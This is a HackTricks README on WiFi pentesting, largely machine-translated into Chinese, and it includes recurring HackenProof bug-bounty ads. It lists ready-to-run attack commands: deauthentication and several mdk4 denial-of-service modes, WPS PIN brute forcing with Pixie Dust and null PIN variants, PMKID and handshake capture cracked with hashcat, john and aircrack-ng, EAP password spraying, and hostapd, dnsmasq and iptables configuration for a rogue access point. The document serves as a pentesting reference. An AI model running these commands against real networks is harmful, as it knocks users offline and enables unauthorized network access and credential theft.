hacktricks/generic-methodologies-and-resources/pentesting-wifi/README.md
2023-08-03 19:12:22 +00:00

54 KiB
Raw Blame History

Wifi基本命令

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥

HackenProof是所有加密漏洞赏金的家园。

无需延迟获得奖励
HackenProof的赏金只有在客户存入奖励预算后才会启动。在漏洞验证后您将获得奖励。

在web3渗透测试中获得经验
区块链协议和智能合约是新的互联网在其兴起的日子里掌握web3安全。

成为web3黑客传奇
每次验证的漏洞都会获得声誉积分,并占据每周排行榜的榜首。

在HackenProof上注册开始从您的黑客攻击中获利!

{% embed url="https://hackenproof.com/register" %}

Wifi基本命令

ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis

工具

EAPHammer

git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup

Airgeddon

Airgeddon是一款功能强大的无线渗透测试工具旨在帮助渗透测试人员评估和攻击无线网络。它提供了一系列的攻击模块和技术使用户能够执行各种无线渗透测试任务。

功能

  • 无线网络扫描Airgeddon可以扫描附近的无线网络并提供详细的信息如SSID、信号强度、加密类型等。

  • 无线密码破解该工具支持多种无线密码破解技术包括暴力破解、字典攻击和WPS破解。

  • 无线攻击模块Airgeddon提供了多种无线攻击模块如Deauth攻击、Evil Twin攻击、Karma攻击等用于干扰和欺骗无线客户端。

  • 无线客户端连接:该工具可以模拟无线接入点,吸引无线客户端连接,并捕获其通信数据。

  • 无线漏洞利用Airgeddon还提供了一些无线漏洞利用模块用于利用已知的无线网络漏洞。

使用方法

  1. 安装Airgeddon在Kali Linux上可以使用以下命令安装Airgeddon

    git clone https://github.com/v1s1t0r1sh3r3/airgeddon.git
    cd airgeddon
    sudo bash airgeddon.sh
    
  2. 启动Airgeddon在终端中运行以下命令启动Airgeddon

    sudo bash airgeddon.sh
    
  3. 选择攻击模块:根据需要选择相应的攻击模块,并按照提示进行配置。

  4. 执行攻击:根据所选的攻击模块,执行相应的攻击任务。

请注意使用Airgeddon进行无线渗透测试可能涉及违法行为。在使用该工具之前请确保您已获得合法的授权并遵守当地法律法规。

mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe

使用Docker运行airgeddon

Airgeddon是一款功能强大的无线渗透测试工具可以帮助我们评估和测试无线网络的安全性。通过使用Docker我们可以更方便地运行和管理Airgeddon。

以下是使用Docker运行Airgeddon的步骤

  1. 首先确保您的系统已安装Docker。如果没有安装请根据您的操作系统进行安装。

  2. 下载Airgeddon的Docker镜像。您可以在Docker Hub上找到Airgeddon的官方镜像。

    docker pull <airgeddon_image>
    

    请将<airgeddon_image>替换为Airgeddon的Docker镜像名称。

  3. 运行Airgeddon容器。使用以下命令

    docker run -it --net=host --privileged <airgeddon_image>
    

    这将在交互模式下启动Airgeddon容器并将主机网络和特权模式传递给容器。

  4. 现在您可以在Airgeddon容器中使用Airgeddon工具了。按照Airgeddon的使用说明进行操作。

请注意运行Airgeddon需要特权模式和对主机网络的访问权限。确保您在安全的环境中运行Airgeddon并遵守适用的法律和道德准则。

祝您使用Airgeddon愉快

docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon

从:https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux

wifiphisher

它可以执行Evil Twin、KARMA和Known Beacons攻击然后使用钓鱼模板来获取网络的真实密码或捕获社交网络凭据。

git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies

Wifite2

这个工具自动化了WPS/WEP/WPA-PSK攻击。它会自动执行以下操作:

  • 将接口设置为监控模式
  • 扫描可能的网络 - 并让您选择受害者
  • 如果是WEP - 启动WEP攻击
  • 如果是WPA-PSK
  • 如果是WPS使用Pixie dust攻击和暴力破解攻击请注意暴力破解攻击可能需要很长时间。请注意它不会尝试空PIN或数据库/生成的PIN。
  • 尝试捕获AP的PMKID以进行破解
  • 尝试使AP的客户端断开连接以捕获握手
  • 如果有PMKID或握手尝试使用前5000个常用密码进行暴力破解。

攻击摘要

  • DoS
  • 拒绝服务攻击
  • 断开连接/解关联 - 断开所有人或特定的ESSID/客户端)
  • 随机虚假AP - 隐藏网络,可能导致扫描器崩溃
  • 过载AP - 尝试使AP崩溃通常不太有用
  • WIDS - 与IDS玩耍
  • TKIPEAPOL - 一些特定的攻击方式来拒绝服务一些AP
  • 破解
  • 破解WEP(多种工具和方法)
  • WPA-PSK
  • WPS PIN“暴力破解”
  • WPA PMKID暴力破解
  • [DoS +] 捕获WPA握手 + 破解
  • WPA-MGT
  • 用户名捕获
  • 暴力破解凭据
  • 恶意双胞胎带或不带DoS
  • 开放恶意双胞胎[+ DoS] - 用于捕获强制门户凭据和/或执行局域网攻击
  • WPA-PSK恶意双胞胎 - 如果您知道密码,用于网络攻击
  • WPA-MGT - 用于捕获公司凭据
  • KARMA, MANA, Loud MANA, 已知信标
  • + 开放 - 用于捕获强制门户凭据和/或执行局域网攻击
  • + WPA - 用于捕获WPA握手

DoS

解关联数据包

这种类型的攻击最常见的方式是使用解关联数据包。这些是一种“管理”帧,负责将设备从接入点断开连接。伪造这些数据包是黑客入侵许多Wi-Fi网络的关键因为您可以在任何时候强制断开网络上的任何客户端。这种操作的简便性有些令人恐惧并且通常作为获取用于破解的WPA握手的一部分而进行。

除了短暂地使用此断开连接来获取握手以进行破解之外,您还可以让这些解关联数据包继续发送,这样会使客户端看起来不断收到来自其所连接的网络的解关联数据包。由于这些帧没有加密,许多程序通过伪造这些帧并将它们发送到网络上的一个或所有设备来利用管理帧。
描述来自这里

使用Aireplay-ng进行解关联

aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
  • -0 表示断开连接
  • 1 是要发送的断开连接的次数如果需要可以发送多次0 表示持续发送
  • -a 00:14:6C:7E:40:80 是接入点的 MAC 地址
  • -c 00:0F:B5:34:30:30 是要断开连接的客户端的 MAC 地址;如果省略此参数,则发送广播断开连接(不一定总是有效)
  • ath0 是接口名称

解除关联数据包

解除关联数据包是另一种管理帧类型,用于断开附近接入点的节点(指任何设备,如笔记本电脑或手机)。断开连接帧和解除关联帧的区别主要在于它们的使用方式。

当接入点希望断开一个恶意设备时,会发送一个断开连接数据包,通知设备已从网络中断开连接;而解除关联数据包用于在接入点关闭电源、重新启动或离开区域时断开任何节点的连接。

这里 获取的描述。

可以使用 mdk4模式 "d")执行此攻击。

# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F

mdk4的更多DOS攻击

来自这里

攻击模式b: Beacon Flood

发送信标帧以显示虚假的AP接入点给客户端。这有时会导致网络扫描工具甚至驱动程序崩溃

# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m

攻击模式 a: 认证拒绝服务

向范围内发现的所有AP发送认证帧。过多的客户端可能会导致多个AP冻结或重置。

# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m

攻击模式 p: SSID探测和暴力破解

探测接入点(AP)并检查回应用于检查SSID是否已正确解密以及AP是否在发送范围内。还可以使用字典或不使用字典进行隐藏SSID的暴力破解

攻击模式 m: Michael对策利用

发送随机数据包或重新注入重复数据包到另一个QoS队列以引发TKIP APs上的Michael对策。接入点将会关闭一整分钟使其成为一种有效的拒绝服务攻击(DoS)

# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]

攻击模式 e: EAPOL启动和注销数据包注入

通过向AP发送EAPOL启动帧来使其忙于处理虚假会话从而使其无法处理任何合法客户端。或者通过注入虚假的EAPOL注销消息来注销客户端。

# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]

攻击模式 s: 针对IEEE 802.11s网状网络的攻击

对网状网络中的链路管理和路由进行各种攻击。淹没邻居和路由,创建黑洞并转移流量!

攻击模式 w: WIDS混淆

通过将客户端交叉连接到多个WDS节点或伪造的恶意AP混淆/滥用入侵检测和预防系统。

# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]

攻击模式 f: 数据包模糊器

一个简单的数据包模糊器,具有多个数据包来源和一组不错的修改器。要小心!

Airggedon

Airgeddon 提供了前面评论中提到的大部分攻击方式:

WPS

WPS代表Wi-Fi Protected Setup是一种无线网络安全标准旨在加快和简化路由器与无线设备之间的连接。WPS仅适用于使用使用WPA个人或WPA2个人安全协议加密的无线网络。WPS不适用于使用已弃用的WEP安全协议的无线网络这种协议可以被任何具备基本工具和技能的黑客轻松破解。来自这里

WPS使用一个8位PIN码允许用户连接到网络但首先检查前4个数字如果正确则检查后4个数字。然后可以先暴力破解前半部分然后再暴力破解后半部分只有11000种可能性

WPS暴力破解

有两个主要工具可以执行此操作Reaver和Bully。

  • Reaver被设计为针对WPS的强大而实用的攻击并已针对各种接入点和WPS实现进行了测试。
  • Bully是WPS暴力破解攻击的新实现用C语言编写。它相对于原始的reaver代码具有几个优点较少的依赖性改进的内存和CPU性能正确处理字节序以及更强大的选项集。

此攻击利用了八位WPS PIN码的弱点;由于此问题,协议泄露了有关PIN的前四位数字的信息,而最后一位作为校验和使得暴力破解WPS AP变得容易。
请注意,某些设备包括暴力破解保护,通常会阻止重复尝试攻击的MAC地址。在这种情况下此攻击的复杂性增加因为您需要在测试PIN码时轮换MAC地址

如果找到WPS有效代码Bully和Reaver都将使用它来发现用于保护网络的WPA/WPA2 PSK因此您将能够在需要时随时连接。

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3

智能暴力破解

与其尝试每个可能的PIN码你应该检查是否有可用的已发现的用于攻击的AP的PIN码根据制造商的MAC地址PIN码生成软件生成的PIN码

  • 已知PIN码数据库是为某些制造商的接入点而制作的已知它们使用相同的WPS PIN码。该数据库包含MAC地址的前三个八位字节和相应PIN码的列表这些PIN码对于该制造商来说非常可能。
  • 有几种算法可以生成WPS PIN码。例如ComputePIN和EasyBox在计算中使用接入点的MAC地址。但是Arcadyan算法还需要设备ID。

WPS Pixie Dust攻击

Dominique Bongard发现一些AP存在生成nonce(称为E-S1E-S2的弱点这些nonce应该是保密的。如果我们能够找出这些nonce是什么我们就可以轻松找到AP的WPS PIN码因为AP必须以哈希的形式将其提供给我们以证明它也知道该PIN码而客户端没有连接到一个伪造的AP。这些E-S1和E-S2本质上是“打开锁盒”的钥匙其中包含WPS PIN码。更多信息请参见https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)

基本上一些实现在使用随机密钥加密PIN码的两部分在身份验证通信期间将其分解为两部分并发送给客户端时失败因此可以使用离线攻击来暴力破解有效的PIN码。

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully  wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3

Null Pin攻击

一些非常糟糕的实现允许使用Null PIN连接非常奇怪。Reaver可以测试这个Bully不能

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''

Airgeddon

所有提出的WPS攻击都可以通过使用_airgeddon_轻松执行。

  • 5和6允许您尝试自定义PIN码(如果您有)
  • 7和8执行Pixie Dust攻击
  • 13允许您测试NULL PIN码
  • 11和12将从可用数据库中收集与所选AP相关的PIN码并使用ComputePIN、EasyBox和可选的Arcadyan推荐为什么不呢生成可能的PIN码
  • 9和10将测试每个可能的PIN码

WEP

已经破解并消失了我不打算谈论它。只需知道_airgeddon_有一个名为"All-in-One"的WEP选项用于攻击这种保护方式。更多工具提供类似的选项。

HackenProof是所有加密漏洞赏金的家园。

即时获得奖励
只有在客户存入奖励预算后HackenProof才会启动赏金。在漏洞经过验证后您将获得奖励。

在web3渗透测试中积累经验
区块链协议和智能合约是新的互联网在其兴起的日子里掌握web3安全。

成为web3黑客传奇
每次验证的漏洞都会获得声誉积分,并占据每周排行榜的榜首。

在HackenProof上注册开始从您的黑客攻击中获利!

{% embed url="https://hackenproof.com/register" %}

WPA/WPA2 PSK

PMKID

2018年hashcat的作者披露了一种新的攻击类型,它不仅依赖于一个单独的数据包而且不需要任何客户端连接到我们的目标AP只需要攻击者与AP之间的通信。

事实证明,很多现代路由器在关联时在AP本身发送的第一个EAPOL帧的末尾附加了一个可选字段称为“Robust Security Network”其中包括了一种称为“PMKID”的东西。

正如原帖中所解释的那样,PMKID是通过使用我们已知的数据派生出来的:

PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

由于“PMK Name”字符串是恒定的我们知道AP和站点的BSSID以及PMK是从完整的4次握手中获得的相同的PMK这就是hashcat破解PSK并恢复密码所需的全部信息
这里获取的描述。

收集此信息并在本地暴力破解密码,您可以执行以下操作:

airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1

捕获到的PMKIDs将显示在控制台中,并且还会保存/tmp/attack.pcap中。现在,将捕获的数据转换为hashcat/john格式并进行破解:

hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

请注意,正确的哈希格式包含4个部分,如下所示:4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7*566f6461666f6e65436f6e6e6563743034383131343838
如果你的哈希只包含3个部分,那么它是无效的PMKID捕获无效

请注意,hcxdumptool还可以捕获握手(类似于这样的内容将出现:MP:M1M2 RC:63258 EAPOLTIME:17091)。你可以使用cap2hccapx将握手转换为hashcat/john格式。

tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes

我注意到使用这个工具捕获的一些握手信息即使知道正确的密码也无法破解。我建议如果可能的话,还是通过传统方式捕获握手信息,或者使用这个工具捕获多个握手信息。

捕获握手信息

攻击WPA/WPA2网络的一种方法是捕获握手信息,然后尝试离线破解使用的密码。为此,您需要找到受害者网络的BSSID信道,以及连接到该网络的客户端
一旦您获得了这些信息,您就需要开始监听BSSID在该信道上的所有通信,因为希望握手信息会被发送到那里:

airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap

现在你需要对客户端进行去认证让它在几秒钟内自动重新认证到接入点请阅读DoS部分找到几种去认证客户端的方法

aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, not always work

请注意由于客户端被断开连接它可能会尝试连接到另一个AP或者在其他情况下连接到另一个网络。

一旦在airodump-ng中出现了一些握手信息,这意味着握手已被捕获,您可以停止监听:

一旦捕获到握手,您可以使用aircrack-ng破解它:

aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap

检查文件中是否有握手包

aircrack

aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture

tshark

tshark is a command-line tool that is part of the Wireshark network protocol analyzer. It allows you to capture and analyze network traffic in real-time. With tshark, you can capture packets from various network interfaces, apply filters to capture specific types of traffic, and save the captured data to a file for further analysis.

To use tshark, you need to have Wireshark installed on your system. Once installed, you can open a terminal and run the tshark command followed by various options and filters to customize your packet capture.

Here are some common tshark commands:

  • -i: Specifies the network interface to capture packets from. For example, -i eth0 captures packets from the eth0 interface.
  • -f: Applies a capture filter to capture specific types of traffic. For example, -f "port 80" captures only HTTP traffic.
  • -w: Saves the captured packets to a file. For example, -w capture.pcap saves the packets to a file named capture.pcap.
  • -r: Reads packets from a file for analysis. For example, -r capture.pcap reads packets from the capture.pcap file.
  • -Y: Applies a display filter to analyze specific types of packets. For example, -Y "http.request.method == GET" displays only HTTP GET requests.

tshark provides a powerful and flexible way to capture and analyze network traffic. It is commonly used by network administrators, security analysts, and penetration testers to troubleshoot network issues, monitor network activity, and identify security vulnerabilities.

tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.

cowpatty是一个用于破解WiFi密码的工具。它基于WPA/WPA2-PSK预共享密钥的弱点进行攻击。cowpatty使用预先计算好的PMKPairwise Master Key表来加速破解过程。它还支持使用字典文件进行暴力破解。要使用cowpatty你需要捕获到握手包handshake并提取出握手包中的必要信息。然后你可以使用cowpatty来尝试破解密码。

cowpatty -r psk-01.cap -s "ESSID" -f -

如果这个工具在找到一个未完成的ESSID握手之前就找到了一个完成的握手它将无法检测到有效的握手。

pyrit

apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze

WPA企业MGT

重要的是要讨论企业Wifi可能使用的不同身份验证方法。对于这种类型的Wifi您可能会在airodump-ng中找到类似以下的内容:

6A:FE:3B:73:18:FB  -58       19        0    0   1  195  WPA2 CCMP   MGT  NameOfMyWifi

EAP(可扩展认证协议)是认证通信的核心,在此之上,服务器使用认证算法对客户端(请求者)进行认证,有时客户端也会对服务器进行认证。
在此情况下使用的主要认证算法有:

  • EAP-GTC是一种支持使用硬件令牌和一次性密码的EAP方法用于支持EAP-PEAP。它的实现类似于MSCHAPv2但不使用对等挑战。相反密码以明文形式发送到接入点(对于降级攻击非常有趣)。
  • EAP-MD-5消息摘要客户端发送密码的MD5哈希值。不推荐使用易受字典攻击没有服务器认证也没有生成每个会话的有线等效隐私WEP密钥的方法。
  • EAP-TLS传输层安全:它依赖于客户端和服务器端证书进行认证并可用于动态生成基于用户和会话的WEP密钥以保护后续通信。
  • EAP-TTLS隧道传输层安全:通过加密通道(或隧道)实现客户端和网络的相互认证以及派生动态的、每个用户的、每个会话的WEP密钥的方法。与EAP-TLS不同EAP-TTLS仅需要服务器端证书客户端将使用凭据
  • PEAP受保护的可扩展认证协议PEAP类似于EAP协议,但创建了一个TLS隧道来保护通信。然后可以在EAP之上使用弱认证协议因为它们将受到隧道的保护。
  • PEAP-MSCHAPv2:也称为PEAP因为它被广泛采用。这只是在PEAP之上的易受攻击的挑战/响应称为MSCHAPv2它受到TLS隧道的保护
  • PEAP-EAP-TLS或PEAP-TLS:与EAP-TLS非常相似但在交换证书之前创建了一个TLS隧道。

您可以在此处此处找到有关这些认证方法的更多信息。

用户名捕获

阅读https://tools.ietf.org/html/rfc3748#page-27可以看出,如果使用EAP,则必须支持**"Identity"消息,并且用户名将在"Response Identity"消息中以明文**形式发送。

即使使用最安全的认证方法之一:PEAP-EAP-TLS,也可以捕获在EAP协议中发送的用户名。为此,捕获认证通信(在一个信道内启动airodump-ng并在同一接口上启动wireshark),并通过eapol过滤数据包。
在"Response, Identity"数据包中,将显示客户端的用户名

匿名身份

(信息来自https://www.interlinknetworks.com/app_notes/eap-peap.htm

EAP-PEAP和EAP-TTLS都支持身份隐藏。在WiFi环境中接入点AP通常在关联过程中生成EAP-Identity请求。为了保护匿名性用户系统上的EAP客户端可能只回应足够的信息以允许第一跳RADIUS服务器处理请求如下例所示。

  • EAP-Identity = anonymous

在此示例中所有用户将共享伪用户名“anonymous”。第一跳RADIUS服务器是一个驱动PEAP或TTLS协议服务器端的EAP-PEAP或EAP-TTLS服务器。然后内部受保护的认证类型将在本地处理或代理到远程主页RADIUS服务器。

  • EAP-Identity = anonymous@realm_x

在此示例中属于不同领域的用户隐藏自己的身份但指示他们属于哪个领域以便第一跳RADIUS服务器可以将EAP-PEAP或EAP-TTLS请求代理到其主页领域中的RADIUS服务器该服务器将充当PEAP或TTLS服务器。第一跳服务器纯粹充当RADIUS中继节点。

或者第一跳服务器可以充当EAP-PEAP或EAP-TTLS服务器并处理受保护的认证方法或将其代理到另一个服务器。可以使用此选项为不同领域配置不同的策略。

在EAP-PEAP中一旦PEAP服务器和PEAP客户端建立了TLS隧道PEAP服务器将生成一个EAP-Identity请求并将其传输到TLS隧道中。客户端通过在加密隧道中发送包含用户真实身份的EAP-Identity响应来回应这个第二个EAP-Identity请求。这样可以防止监听802.11流量的任何人发现用户的真实身份。

EAP-TTLS的工作方式略有不同。使用EAP-TTLS客户端通常通过TLS隧道进行PAP或CHAP认证。在这种情况下客户端将在建立隧道后发送的第一个TLS消息中包含User-Name属性和Password或CHAP-Password属性。

无论使用哪种协议一旦建立了TLS隧道PEAP/TTLS服务器就会了解到用户的真实身份。真实身份可以是形式为_user@realm或简单地user。如果PEAP/TTLS服务器也对user_进行身份验证它现在知道用户的身份并继续使用TLS隧道保护的认证方法。或者PEAP/TTLS服务器可以将新的RADIUS请求转发到用户的主页RADIUS服务器。这个新的RADIUS请求已经剥离了PEAP或TTLS协议。如果受保护的认证方法是EAP则内部EAP消息将在不带有EAP-PEAP或EAP-TTLS包装器的情况下传输到主页RADIUS服务器。传出RADIUS消息的User-Name属性包含用户的真实身份而不是传入RADIUS请求的匿名User-Name属性。如果受保护的认证方法是PAP或CHAP仅由TTLS支持则从TLS有效负载中恢复的User-Name和其他认证属性将放置在传出RADIUS消息中以替换传入RADIUS请求中包含的匿名User-Name和TTLS EAP-Message属性。

EAP-暴力破解(密码喷洒)

如果客户端预计使用用户名和密码(请注意,在这种情况下EAP-TLS无效),那么您可以尝试获取用户名列表(请参见下一部分)和密码,并尝试使用air-hammer进行暴力破解

./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt

您还可以使用 eaphammer 进行此攻击:

./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt

客户端攻击理论

网络选择和漫游

尽管802.11协议有非常具体的规则来规定一个站点如何加入ESS但它并没有指定站点应该如何选择要连接的ESS。此外该协议允许站点在共享相同ESSID的接入点之间自由漫游因为当你从建筑物的一端走到另一端时你不希望失去WiFi连接等。然而802.11协议并没有指定应该如何选择这些接入点。此外尽管站点必须经过身份验证才能与接入点关联但802.11协议并不要求接入点对站点进行身份验证。

首选网络列表PNLs

每当一个站点连接到一个无线网络时该网络的ESSID被存储在站点的首选网络列表PNL中。PNL是一个有序列表包含了站点过去连接过的每个网络PNL中的每个条目都包含了网络的ESSID和建立连接所需的任何网络特定的配置信息。

被动扫描

在基础设施网络中接入点定期发送信标帧来向附近的站点广告它们的存在和能力。信标是广播帧这意味着它们旨在被范围内的所有附近站点接收。信标包括关于AP支持的速率、加密能力、附加信息以及最重要的是信标帧包含AP的ESSID只要ESSID广播未禁用

在被动扫描期间客户端设备会监听附近接入点发送的信标帧。如果客户端设备接收到一个ESSID字段与其PNL中的ESSID匹配的信标帧客户端将自动连接到发送信标帧的接入点。然后假设我们想要针对一个当前未连接到任何无线网络的无线设备进行攻击。如果我们知道该客户端PNL中至少有一个条目我们只需创建一个具有该条目ESSID的自己的接入点就可以强制客户端连接到我们。

主动探测

802.11中使用的第二种网络选择算法称为主动探测。使用主动探测的客户端设备会持续发送探测请求帧以确定哪些AP在范围内以及它们的能力。探测请求有两种形式定向和广播。定向探测请求是针对特定ESSID的是客户端检查特定网络是否附近的方式。

使用定向探测的客户端将为其PNL中的每个网络发送探测请求。值得注意的是定向探测是唯一的方式来识别附近隐藏网络的存在。广播探测请求的工作方式几乎完全相同但是发送时将SSID字段设置为NULL。这样可以将广播探测请求发送给附近的所有接入点允许站点检查是否附近有任何其首选网络而不会泄露其PNL的内容。

简单的重定向到互联网的AP

在解释如何执行更复杂的攻击之前将先解释如何仅仅创建一个AP并将其流量重定向到连接到互联网的接口。

使用ifconfig -a检查要创建AP的wlan接口和连接到互联网的接口是否存在。

DHCP和DNS

apt-get install dnsmasq #Manages DHCP and DNS

创建一个名为 /etc/dnsmasq.conf 的配置文件,内容如下:

interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1

然后设置IP地址路由

ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

然后 启动 dnsmasq

dnsmasq -C dnsmasq.conf -d

hostapd

hostapd是一个用于创建和管理无线接入点AP的软件。它可以在支持无线网卡的设备上运行并允许您将设备配置为一个独立的AP或一个AP与其他网络连接的桥接器。

hostapd提供了许多配置选项可以根据您的需求进行自定义设置。您可以设置无线网络的名称SSID、加密方法、访问控制列表ACL以及其他高级功能如RADIUS服务器认证和WPA/WPA2企业级加密。

使用hostapd您可以创建一个安全的无线网络以便在渗透测试中模拟一个受控的AP。这样您可以测试客户端设备的安全性并评估其对各种攻击的脆弱性。

要使用hostapd您需要具备一定的Linux命令行知识并且了解无线网络的基本原理和安全性。您还需要一块支持无线AP模式的无线网卡。

以下是hostapd的一些常用命令和配置示例

# 启动hostapd
sudo hostapd /path/to/hostapd.conf

# hostapd.conf配置示例
interface=wlan0
driver=nl80211
ssid=MyWiFiNetwork
hw_mode=g
channel=6
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
wpa=2
wpa_passphrase=MyPassword
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP
rsn_pairwise=CCMP

请注意hostapd的配置选项非常丰富您可以根据需要进行更多的自定义设置。在渗透测试中确保您了解所使用的配置选项的含义并根据需要进行相应的调整。

使用hostapd时请务必遵守当地法律和道德准则并仅在合法授权的范围内使用。

apt-get install hostapd

创建一个配置文件 hostapd.conf:

interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1

停止烦人的进程,设置监控模式,并启动hostapd

airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf

转发和重定向

Forwarding and redirection are techniques used in networking to redirect traffic from one location to another. These techniques are commonly used in the context of pentesting WiFi networks to redirect traffic to an attacker-controlled device.

Port Forwarding

Port forwarding is a technique used to redirect traffic from a specific port on a router or firewall to a different port on another device within the network. This allows external traffic to reach a specific service or application running on a device behind the router or firewall.

To perform port forwarding, you need to access the router or firewall's configuration settings and create a rule that maps the external port to the internal port of the target device. This can be useful during a WiFi pentest to redirect traffic to a device running a malicious service or to intercept and analyze network traffic.

DNS Redirection

DNS redirection involves manipulating the DNS (Domain Name System) resolution process to redirect traffic from a specific domain or subdomain to a different IP address. This technique can be used to redirect traffic from legitimate websites to malicious ones controlled by the attacker.

To perform DNS redirection, you can modify the hosts file on the target device or set up a DNS server that resolves the targeted domain or subdomain to the attacker's IP address. This can be useful during a WiFi pentest to redirect users to a fake login page or to intercept and modify network traffic.

URL Redirection

URL redirection involves redirecting traffic from one URL to another. This technique is commonly used in web applications to redirect users from one page to another. In the context of WiFi pentesting, URL redirection can be used to redirect users to a malicious website or to intercept and modify network traffic.

To perform URL redirection, you can modify the web server's configuration or use techniques like phishing to trick users into visiting a specific URL that redirects them to a different website. This can be useful during a WiFi pentest to deceive users and gain unauthorized access to their credentials or sensitive information.

Conclusion

Forwarding and redirection techniques are powerful tools in the arsenal of a WiFi pentester. By redirecting traffic, an attacker can gain control over network communication and manipulate it to their advantage. It is important for pentesters to understand these techniques and how to defend against them to ensure the security of WiFi networks.

iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward

恶意双胞胎

恶意双胞胎攻击是一种利用大多数计算机和手机只能看到无线网络的“名称”或ESSID因为基站不需要对客户端进行身份验证的Wi-Fi攻击。这实际上使得很难区分具有相同名称和相同加密类型的网络。事实上许多网络将有几个扩展网络访问点它们都使用相同的名称来扩展访问而不会让用户感到困惑。

